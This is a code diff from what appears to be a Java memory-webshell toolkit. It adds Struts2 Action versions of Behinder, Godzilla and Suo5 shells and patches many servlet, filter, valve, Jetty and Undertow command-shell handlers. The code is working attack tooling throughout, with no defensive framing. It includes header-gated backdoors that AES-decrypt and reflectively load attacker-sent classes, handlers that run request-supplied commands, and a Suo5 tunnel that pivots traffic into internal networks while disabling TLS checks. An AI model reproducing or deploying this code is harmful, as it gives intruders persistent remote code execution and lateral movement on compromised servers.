public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
}
@@ -0,0 +1,89 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class BehinderStruct2Action {
public static String pass;
public static String headerName;
public static String headerValue;
public void execute() throws Exception {
try {
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
Method getMethod = clazz.getMethod("get", String.class);
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", unwrap(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = reflectionDefineClass(bytes).newInstance();
instance.equals(obj);
}
} catch (Throwable e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
public Object unwrap(Object obj) {
try {
return getFieldValue(obj, "response");
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
}
@@ -27,6 +27,8 @@ public class Command {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return;
}
} catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return false;
}
} catch (Throwable e) {
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
}
} catch (Throwable e) {
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
}
if (p != null) {
String param = getParam(p);
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.shelltool.command;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/12/8
*/
public class CommandStruct2Action {
private static String paramName;
public String execute() throws Exception {
try {
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
Method getMethod = clazz.getMethod("get", String.class);
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
String p = request.getParameter(paramName);
if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
}
} catch (Throwable ignored) {
}
return null;
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
}
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
inputStream.close();
outputStream.close();
return true;
}
} catch (Throwable e) {
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
response.getWriter().flush();
response.getWriter().close();
return;
}
} catch (Throwable e) {
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Scanner;
/**
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
public void onMessage(String cmd) {
try {
InputStream inputStream = getInputStream(getParam(cmd));
byte[] buf = new byte[8192];
int length;
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
session.getBasicRemote().sendText(outputStream.toString());
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
} catch (Throwable e) {
e.printStackTrace();
}
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -0,0 +1,112 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class GodzillaStruct2Action {
private static String key;
private static String pass;
private static String md5;
private static String headerName;
private static String headerValue;
private static Class<?> payload;
public void execute() throws Exception {
try {
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
Method getMethod = clazz.getMethod("get", String.class);
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
PrintWriter writer = response.getWriter();
try {
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (payload == null) {
payload = reflectionDefineClass(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
}
} catch (Throwable e) {
e.printStackTrace();
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
}
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
writer.close();
}
} catch (Throwable e) {
e.printStackTrace();
File diff suppressed because one or more lines are too long
@@ -0,0 +1,560 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Struct2Action() {
}
public Suo5Struct2Action(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void execute() throws Exception {
try {
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
Method getMethod = clazz.getMethod("get", String.class);
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
String contentType = request.getContentType();
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)
&& contentType != null) {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
}
} catch (Throwable ignored) {
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
